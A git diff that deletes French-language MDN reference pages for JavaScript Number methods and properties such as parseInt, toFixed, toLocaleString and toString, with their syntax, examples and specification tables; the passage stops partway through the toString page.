diff --git a/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html b/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html deleted file mode 100644 index 60eaae2d48..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Number.parseInt() -slug: Web/JavaScript/Reference/Objets_globaux/Number/parseInt -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Number - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt ---- -
{{JSRef}}
- -

La méthode Number.parseInt() analyse et convertit une chaine de caractères, fournie en argument, en un entier dans la base souhaitée.

- -
{{EmbedInteractiveExample("pages/js/number-parseint.html")}}
- - - -

Syntaxe

- -
Number.parseInt(chaîne [, base])
- -

Paramètres

- -
-
chaîne
-
La valeur à convertir. Si chaine n'est pas une chaîne de caractères, elle sera convertie auparavant. Les blancs qui préfixent la chaîne sont ignorés.
-
base {{optional_inline}}
-
Paramètre optionnel. Un entier représentant la base dans laquelle est représentée la valeur de la chaîne. Il faut toujours spécifier ce paramètre. Cela permet que le code ne soit pas ambigü et permet de garantir un comportement prévisible. En effet les différentes implémentations peuvent fournir des résultats différents lorsque la base n'est pas spécifiée.
-
- -

Valeur de retour

- -

Un entier construit à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère ne permet pas de conversion numérique, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.

- -

Description

- -

Voir la page {{jsxref("Objets_globaux/parseInt", "parseInt()")}} pour plus de détails et d'exemples. Cette méthode se comporte de façon identique à la fonction globale {{jsxref("Objets_globaux/parseInt", "parseInt()")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales) et on aura :

- -
Number.parseInt === parseInt; // true
- -

Prothèse d'émulation (polyfill)

- -

Si on souhaite bénéficier de cette fonction dans un environnement qui n'en dispose pas, on pourra donc l'émuler de la façon suivante :

- -
if(Number.parseInt === undefined) {
-  Number.parseInt = parseInt;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.parseint', 'Number.parseInt')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.parseInt")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette fonction.
    • -
  • La méthode {{jsxref("Objets_globaux/parseInt","parseInt()")}} de l'objet global.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html deleted file mode 100644 index dd0d9cc01c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Number.POSITIVE_INFINITY -slug: Web/JavaScript/Reference/Objets_globaux/Number/POSITIVE_INFINITY -tags: - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY ---- -
{{JSRef}}
- -

La propriéte Number.POSITIVE_INFINITY représente l'infini (positif).

- -
{{EmbedInteractiveExample("pages/js/number-positive-infinity.html")}}
- - - -

{{js_property_attributes(0,0,0)}}

- -

Description

- -

La valeur de Number.POSITIVE_INFINITY est identique à la valeur de la propriété de l'objet global {{jsxref("Infinity")}}.

- -

Cette valeur possède un comportement légèrement différent de l'infini au sens mathématique :

- -
    -
  • Tout valeur positive, y compris POSITIVE_INFINITY, multipliée par  POSITIVE_INFINITY sera égale à POSITIVE_INFINITY.
    • -
  • Toute valeur négative, y compris {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, multipliée par POSITIVE_INFINITY sera égale à NEGATIVE_INFINITY.
    • -
  • Zéro multiplié par POSITIVE_INFINITY sera égal à {{jsxref("NaN")}}.
    • -
  • NaN multiplié par POSITIVE_INFINITY sera égal à NaN.
    • -
  • POSITIVE_INFINITY, divisé par n'importe quelle valeur négative, à l'exception de NEGATIVE_INFINITY, sera égal à NEGATIVE_INFINITY.
    • -
  • POSITIVE_INFINITY, divisé par n'importe quelle valeur positive, à l'exception de POSITIVE_INFINITY, sera égal à POSITIVE_INFINITY.
    • -
  • POSITIVE_INFINITY, divisé par NEGATIVE_INFINITY ou POSITIVE_INFINITY, sera égal NaN.
    • -
  • Tout nombre positif divisé par POSITIVE_INFINITY sera égal au zéro positif.
    • -
  • Tout nombre négatif divisé par POSITIVE_INFINITY sera égal au zéro négatif.
    • -
- -

Il est possible d'utiliser la propriété Number.POSITIVE_INFINITY pour faire un test d'erreur sur une valeur qu'on attendait finie. Cependant, la méthode {{jsxref("isFinite")}} sera plus appropriée dans ce cas.

- -

Number.POSITIVE_INFINITY est une propriété statique de {{jsxref("Number")}} et il n'est donc pas nécessaire de créer un objet {{jsxref("Number")}} afin d'utiliser cette propriété.

- -

Exemple

- -

Utiliser POSITIVE_INFINITY

- -

Dans l'exemple qui suit, on affecte une valeur plus grande que la valeur maximale à la variable grosNombre. Lors de l'exécution de l'instruction if, grosNombre aura la valeur Infinity, pour continuer, on met à jour grosNombre avec une valeur plus acceptable.

- -
var grosNombre = Number.MAX_VALUE * 2
-if (grosNombre == Number.POSITIVE_INFINITY) {
- grosNombre = renvoyerUnNombreFini();
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.POSITIVE_INFINITY")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • -
  • {{jsxref("Number.isFinite()")}}
    • -
  • {{jsxref("Infinity")}}
    • -
  • {{jsxref("isFinite")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html deleted file mode 100644 index 0cb02e939e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Number.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Number/prototype -tags: - - JavaScript - - Number - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number -translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype ---- -
{{JSRef}}
- -

La propriété Number.prototype représente le prototype du constructeur {{jsxref("Number")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("Number")}} héritent de Number.prototype. On peut modifier l'objet prototype du constructeur {{jsxref("Number")}} afin que la modification affecte chacune des instances de Number.

- -

Propriétés

- -
-
Number.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de cette objet. Par défaut, ce sera l'objet {{jsxref("Number")}}.
-
- -

Méthodes

- -
-
{{jsxref("Number.prototype.toExponential()")}}
-
Renvoie une chaîne de caractères qui représente le nombre en notation exponentielle.
-
{{jsxref("Number.prototype.toFixed()")}}
-
Renvoie une chaîne de caractères qui représente le nombre en représentation à point fixe.
-
{{jsxref("Number.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères qui représente le nombre en tenant compte de la locale. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("Number.prototype.toPrecision()")}}
-
Renvoie une chaîne de caractères représentant le nombre en représentation à point fixe, selon une précision donnée ou en notation exponentielle.
-
{{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}
-
Renvoie un litéral objet représentant l'objet Number fourni. On peut utiliser cette valeur afin de créer un nouvel objet. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Number.prototype.toString()")}}
-
Renvoie une chaîne de caractères qui représente l'objet fourni selon une base donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Number.prototype.valueOf()")}}
-
Renvoie une valeur primitive de l'objet fourni. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html b/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html deleted file mode 100644 index c478bb13fd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Number.prototype.toExponential() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toExponential -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential ---- -
{{JSRef}}
- -

La méthode toExponential() renvoie une chaîne de caractères, représentant l'objet Number en notation exponentielle.

- -
{{EmbedInteractiveExample("pages/js/number-toexponential.html")}}
- - - -

Syntaxe

- -
numObj.toExponential([nbChiffresDécimaux])
- -

Paramètre

- -
-
nbChiffresDécimaux
-
Paramètre optionnel. Un entier donnant le nombre de chiffres qu'on souhaite avoir dans la partie fractionnaire. Le comportement par défaut considèrera autant de chiffres que nécessaire pour représenter le nombre.
-
- -

Valeur de retour

- -

Une chaîne représentant l'objet {{jsxref("Number")}} appelant en notation exponentielle avec un chiffre avant la virgule et arrondi à nbChiffresDécimaux après la virgule.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Cette exception est causée si nbChiffresDécimaux est trop petit ou trop grand. Les valeurs comprises, au sens large, entre 0 et 20 ne causeront pas d'exception {{jsxref("RangeError")}}. Les implémentations peuvent également autorisér des valeurs en dehors de ces bornes.
-
- -
-
{{jsxref("TypeError")}}
-
Si cette méthode est invoquée pour un objet qui n'est pas un objet Number.
-
- -

Description

- -

La valeur renvoyée est une chaîne de caractères correspondant à la représentation du nombre en notation exponentielle. La partie entière est constituée d'un seul chiffre et la partie fractionnaire est composée de nbChiffresDécimaux chiffres. Si l'argument nbChiffresDécimaux est absent, il y aura autant de chiffres dans la partie fractionnaire que nécessaire pour représenter le nombre de façon unique.

- -

Si la méthode toExponential() est utilisée avec un littéral numérique et que celui-ci ne possède aucun exposant ou séparateur décimal ("."), il faut laisser un ou plusieurs espaces entre le littéral et le point indiquant l'appel de la méthode. Cela permet d'éviter que le point, permettant d'accéder à la méthode, soit confondu avec un séparateur décimal.

- -

Si un nombre possède plus de chiffres décimaux que nbChiffresDécimaux, le nombre est arrondi au nombre le plus proche, représenté avec nbChiffresDécimaux pour la partie fractionnaire. Voir la discussion sur les arrondis dans la page  de la méthode {{jsxref("Number.toFixed", "toFixed()")}} pour plus de détails, la même méthode est utilisée pour toExponential().

- -

Exemples

- -

Utiliser toExponential

- -
var numObj = 77.1234;
-
-console.log(numObj.toExponential());  // affiche 7.71234e+1
-console.log(numObj.toExponential(4)); // affiche 7.7123e+1
-console.log(numObj.toExponential(2)); // affiche 7.71e+1
-console.log(77.1234.toExponential()); // affiche 7.71234e+1
-console.log(77 .toExponential());     // affiche 7.7e+1
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toExponential")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toFixed()")}}
    • -
  • {{jsxref("Number.prototype.toPrecision()")}}
    • -
  • {{jsxref("Number.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html deleted file mode 100644 index d1f0cd48b2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Number.prototype.toFixed() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toFixed -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed ---- -
{{JSRef}}
- -

La méthode toFixed() permet de formater un nombre en notation à point-fixe.

- -
{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}
- - - -

Syntaxe

- -
numObj.toFixed([nbChiffres])
- -

Paramètres

- -
-
nbChiffres {{optional_inline}}
-
Le nombre de chiffres qu'on souhaite avoir après le séparateur décimal. Cette valeur peut être comprise, au sens large, entre 0 et 20. Les différentes implémentations peuvent éventuellement supporter des valeurs en dehors de cet intervalle. Si l'argument n'est pas utilisé, la valeur par défaut sera 0.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le nombre indiqué avec une notation à point fixe.

- -

Exceptions causées

- -
-
{{jsxref("RangeError")}}
-
Cette exception est renvoyée si nbChiffres est trop grand ou trop petit. Les valeurs comprises, au sens large, entre 0 et 100, n'entraîneront pas de RangeError. Les différentes implémentations peuvent ou non supporter des valeurs plus petites et/ou plus grandes.
-
- -
-
{{jsxref("TypeError")}}
-
Cette exception est renvoyée si cette méthode est invoquée depuis un objet qui n'est pas de type numérique.
-
- -

Description

- -

toFixed() renvoie une chaîne de caractères représentant objetNumber sans notation exponentielle et qui possède exactement nbChiffres pour la partie fractionnaire. Le nombre est arrondi si nécessaire et la partie fractionnaire est complétée par des zéros si nécessaire pour obtenir la longueur souhaitée. Si le objetNumber est supérieur ou égal à 1e+21, la méthode utilise simplement {{jsxref("Number.prototype.toString()")}} et renvoie une chaîne en notation exponentielle.

- -
-

Attention ! En raison du standard IEEE 754 qui est utilisé par JavaScript pour représenter les nombres, tous les nombres décimaux ne sont pas représentés exactement en JavaScript, ce qui peut mener à des résultats inattendus (comme 0.1 + 0.2 === 0.3 qui renvoie false).

-
- -

Exemples

- -
var numObj = 12345.6789;
-
-numObj.toFixed();       // Renvoie '12346' : arrondi, aucune partie fractionnaire
-numObj.toFixed(1);      // Renvoie '12345.7' : arrondi ici aussi
-numObj.toFixed(6);      // Renvoie '12345.678900' : des zéros sont ajoutés
-(1.23e+20).toFixed(2);  // Renvoie '123000000000000000000.00'
-(1.23e-10).toFixed(2);  // Renvoie '0.00'
-2.34.toFixed(1);        // Renvoie '2.3'
--2.34.toFixed(1);       // Renvoie -2.3 (en raison de la précédence des opérateurs,
-                        // les littéraux de nombres négatifs ne renvoient pas de chaînes)
-2.35.toFixed(1);        // Renvoie '2.4' (arrondi supérieur)
-2.55.toFixed(1);        // Renvoie '2.5' (cf. l'avertissement ci-avant)
-(-2.34).toFixed(1);     // Renvoie '-2.3'
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toFixed")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toExponential()")}}
    • -
  • {{jsxref("Number.prototype.toPrecision()")}}
    • -
  • {{jsxref("Number.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html deleted file mode 100644 index d05294de7a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html +++ /dev/null @@ -1,197 +0,0 @@ ---- -title: Number.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString -tags: - - Internationalisation - - JavaScript - - Méthode - - Number - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() permet de renvoyer une chaîne de caractères représentant un nombre en tenant compte de la locale.

- -
{{EmbedInteractiveExample("pages/js/number-tolocalestring.html")}}
- - - -

Les arguments locales et options permettent à l'application de spécifier les options de formatage selon la langue utilisée. Ces arguments ont un effet sur le comportement de la fonction. Les implémentations passées, qui ignoraient les arguments locales et options se basaient uniquement sur l'implémentation pour ce qui concernait la locale et le format.

- -

Syntaxe

- -
objetNumber.toLocaleString([locales [, options]])
- -

Paramètres

- -

Voir la section compatibilité des navigateurs afin de voir quels navigateurs supportent les arguments locales et options. L'exemple Vérifier le support des arguments locales et options permet de détecter cette fonctionnalité.

- -
-

Note : L'API ECMAScript Internationalization, implémentée avec Firefox 29, a ajouté l'argument locales à la méthode Number.toLocaleString. Si l'argument vaut undefined,cette méthode renvoie les nombres selon la locale du système d'exploitation, les versions antérieures de Firefox renvoyaient un résultat correspondant à la locale anglaise. Ce changement a été rapporté comme une régression, avec un risque de manque de rétrocompatibilité, avant d'être corrigé avec Firefox 55, voir le bug ({{bug(999003)}}).

-
- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/NumberFormat','Paramètres')}}

- -

Valeur de retour

- -

Une chaîne de caractères qui représente le nombre indiqué en tenant compte de la locale.

- -

Exemples

- -

Utiliser toLocaleString()

- -

En utilisant la fonction simplement, sans spécifier de locale, la chaîne est formatée dans la locale par défaut et avec des options par défaut.

- -
var nombre = 3500;
-
-console.log(nombre.toLocaleString()); // Affichera "3 500" pour la locale française
-
- -

Vérifier le support des arguments locales et options

- -

Les arguments locales et options ne sont pas supportés par tous les navigateurs. Afin de vérifier qu'une implémentation les prend en charge, on se base sur le fait que les balises de langues incorrectes renvoient une exception{{jsxref("RangeError")}} :

- -
function testSupporttoLocaleString() {
-    var nombre = 0;
-    try {
-        nombre.toLocaleString("i");
-    } catch (e) {
-        return e​.name === "RangeError";
-    }
-    return false;
-}
-
- -

Avant ES5.1, il n'était pas nécessaire pour les implémentations de provoquer une erreur d'intervalle si toLocaleString était appelé avec des arguments.

- -

Afin de vérifier le support pour tous les environnements, y compris ceux qui supportent ECMA-262 avant la version 5.1, on peut tester les fonctionnalités définies dans ECMA-402, directement sur Number.prototype.toLocaleString :

- -
function toLocaleStringSupportsOptions() {
-  return !!(typeof Intl == 'object' && Intl && typeof Intl.NumberFormat == 'function');
-}
-
- -

Cela permet de tester la présence d'un objet global Intl, de vérifier que celui-ci n'est pas null et qu'il a une méthode NumberFormat.

- -

Utiliser l'argument locales

- -

Cet exemple illustre les variations possibles entre les différents formats localisés. Afin que le format de langue utilisé soit celui de votre utilisateur, assurez-vous de fournir la langue utilisée (ainsi que des langues de secours) en utilisant l'argument locales :

- -
var nombre= 123456.789;
-
-// Pour la locale allemande, on utilise un point comme séparateur
-// pour les milliers et une virgule comme séparateur décimal
-console.log(nombre.toLocaleString("de-DE"));
-// → 123.456,789
-
-// Les locales arabes, dans la plupart des pays arabophones, utilisent
-// les chiffres arabes
-console.log(nombre.toLocaleString("ar-EG"));
-// → ١٢٣٤٥٦٫٧٨٩
-
-// En Inde, on utilise des séparateurs de milliers/lakh/crore
-console.log(nombre.toLocaleString("en-IN"));
-// → 1,23,456.789
-
-// La clé d'extension nu indique un système numérique, ici le système chinois décimal
-console.log(nombre.toLocaleString("zh-Hans-CN-u-nu-hanidec"));
-// → 一二三,四五六.七八九
-
-// quand on souhaite utiliser un langage qui n'est pas supporté, on peut
-// inclure un langage de secours. Exemple ici avec le balinais et l'indonésien
-console.log(nombre.toLocaleString(["ban", "id"]));
-// → 123.456,789
-
- -

Utiliser l'argument options

- -

Les résultats fournis par toLocaleString peuvent être déclinés en utilisant l'argument options :

- -
var nombre = 123456.789;
-
-// on formate selon une devise
-console.log(nombre.toLocaleString("de-DE", {style: "currency", currency: "EUR"}));
-// → 123.456,79 €
-
-// le yen japonais ne possède pas de centimes
-console.log(nombre.toLocaleString("ja-JP", {style: "currency", currency: "JPY"}))
-// → ￥123,457
-
-// on se limite à trois chiffres significatifs
-console.log(nombre.toLocaleString("en-IN", {maximumSignificantDigits: 3}));
-// → 1,23,000
-
-// on utilise la langue du système pour la mise en
-// forme des nombres
-var num = 30000.65;
-console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
-// → "30,000.65" quand l'anglais est la langue par défaut
-// → "30.000,65" quand l'allemand est la langue par défaut
-// → "30 000,65" quand le français est la langue par défaut
-
- -

Performance

- -

Lors du formatage de beaucoup de nombres, il est préférable de créer un objet {{jsxref("NumberFormat")}} et d'utiliser sa méthode {{jsxref("NumberFormat.format")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}} 
{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toLocaleString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html b/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html deleted file mode 100644 index 236a7bb51e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Number.prototype.toPrecision() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toPrecision -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision ---- -
{{JSRef}}
- -

La méthode toPrecision() renvoie une chaîne de caractères représentant un nombre avec la précision donnée.

- -
{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}
- -

Syntaxe

- -
numObj.toPrecision([précision])
- -

Paramètre

- -
-
précision
-
Paramètre optionnel. Un entier spécifiant le nombre de chiffres significatifs.
-
- -

Valeur de retour

- -

Cette méthode renvoie une chaîne de caractères représentant l'objet {{jsxref("Number")}} en notation à point fixe ou en notation exponentielle, arrondi avec un nombre de chiffres significatifs égal à précision. Le principe utilisé pour les arrondis est celui décrit dans la page de la méthode {{jsxref("Number.prototype.toFixed()")}}.

- -

Si l'argument précision n'est pas utilisé, la méthode aura le même effet que {{jsxref("Number.prototype.toString()")}}. Si cet argument n'est pas un nombre entier, on prendra le nombre entier le plus proche.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Si précison n'est pas compris, au sens large, entre 1 et 100, on aura une exception RangeError. Les implémentations peuvent supporter des valeurs supérieures et/ou inférieures. Le standard ECMA-262 ne nécessite qu'une précision allant jusqu'à 21 chiffres significatifs.
-
- -

Exemples

- -
var objetNumber = 5.123456;
-console.log(objetNumber.toPrecision());  //affiche "5.123456"
-console.log(objetNumber.toPrecision(5)); //affiche "5.1235"
-console.log(objetNumber.toPrecision(2)); //affiche "5.1"
-console.log(objetNumber.toPrecision(1)); //affiche "5"
-
-numObj = 0.000123;
-
-console.log(numObj.toPrecision());    // affiche "0.000123"
-console.log(numObj.toPrecision(5));   // affiche "0.00012300"
-console.log(numObj.toPrecision(2));   // affiche "0.00012"
-console.log(numObj.toPrecision(1));   // affiche "0.0001"
-
-// dans certaines circonstances, on peut avoir une notation exponentielle
-console.log((1234.5).toPrecision(2)); // "1.2e+3"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toPrecision")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toFixed()")}}
    • -
  • {{jsxref("Number.prototype.toExponential()")}}
    • -
  • {{jsxref("Number.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html deleted file mode 100644 index da204d2ea4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Number.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toSource -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

La méthode toSource() permet de renvoyer une chaîne de caractère représentant le code source de l'objet.

- -

Syntaxe

- -
objetNumber.toSource();
-Number.toSource();
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant le code source de l'objet.

- -

Description

- -

La méthode toSource() renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("Number")}}, toSource() renvoie la chaîne suivante, indiquant que le code source n'est pas disponible : - - 
    function Number() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances de {{jsxref("Number")}}, toSource() renvoie une chaîne représentant le code source de l'objet.
    • -
- -

Cette méthode est généralement appelée par du code interne au moteur JavaScript et n'est pas utilisée dans des scripts JavaScript.

- -

Spécifications

- -

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html deleted file mode 100644 index d7f9af286e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Number.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Number/toString -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractère représentant l'objet Number.

- -
{{EmbedInteractiveExample("pages/js/number-tostring.html")}}
- - - -

Syntaxe

- -
numObj.toString([base])
- -

Paramètre

- -
-
base
-
Paramètre optionnel. Un entier compris entre 2 et 36 qui indique la base du système numérique à utiliser pour représenter la valeur.
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant l'objet {{jsxref("Number")}}.

- -

Exception

- -
-
{{jsxref("RangeError")}}
-
-

Si toString() reçoit une base qui n'est pas comprise entre 2 et 36, une exception RangeError est levée.

-
-
- -

Description

- -

L'objet {{jsxref("Number")}} surcharge la méthode toString() de {{jsxref("Object")}} et n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets Number, la méthode toString() renvoie une représentation du nombre, dans une base donnée, en une chaîne de caractères.

- -

La méthode toString() analyse son premier argument et tente de renvoyer une chaîne de caractères représentant le nombre en une base donnée. Pour les bases supérieures à 10, les lettres de l'alphabet sont utilisées pour représenter les numéraux supérieurs à 9. Par exemple, pour les nombres hexadécimaux (en base 16), les lettres a à f sont utilisées.

- -

